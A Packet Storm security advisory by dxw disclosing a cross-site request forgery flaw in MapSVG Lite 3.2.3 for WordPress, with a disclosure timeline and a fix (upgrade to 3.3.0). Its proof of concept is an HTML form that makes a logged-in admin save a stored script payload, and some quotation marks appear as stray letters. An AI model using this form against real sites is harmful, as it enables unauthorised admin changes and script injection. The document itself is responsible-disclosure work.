WordPress MapSVG Lite 3.2.3 Cross Site Request Forgery

Type packetstorm
Reporter Rob Skilling
Modified 2019-01-08T00:00:00


Software: MapSVG Lite  
Version: 3.2.3  
Homepage: https://en-gb.wordpress.org/plugins/mapsvg-lite-interactive-vector-maps/  
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can  
The plugin uses REST requests to modify post data, and does not check the nonce when doing so.  
Proof of concept  
Install the plugin on a site at http://localhost/  
Ensure you have page with ID of 2.  
Whilst logged in, visit an html page with this content and submit the form:  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">  
<input type=\"text\" name=\"data[title]\" value=\"A bad value\">  
<input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">  
<input type=\"text\" name=\"data[map_id]\" value=\"2\">  
<input type=\"submit\">  
Visit the page with ID of 2. It now has title of aA bad valuea and alerts ahelloa on loading.  
Upgrade to version 3.3.0 or above.  
Disclosure policy  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/  
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
2018-04-10: Discovered  
2018-06-15: Author notified via email  
2018-06-15: Author replied, fix to be published in next release  
2019-01-08: Advisory published  
Discovered by dxw:  
Rob Skilling  
Please visit advisories.dxw.com for more information.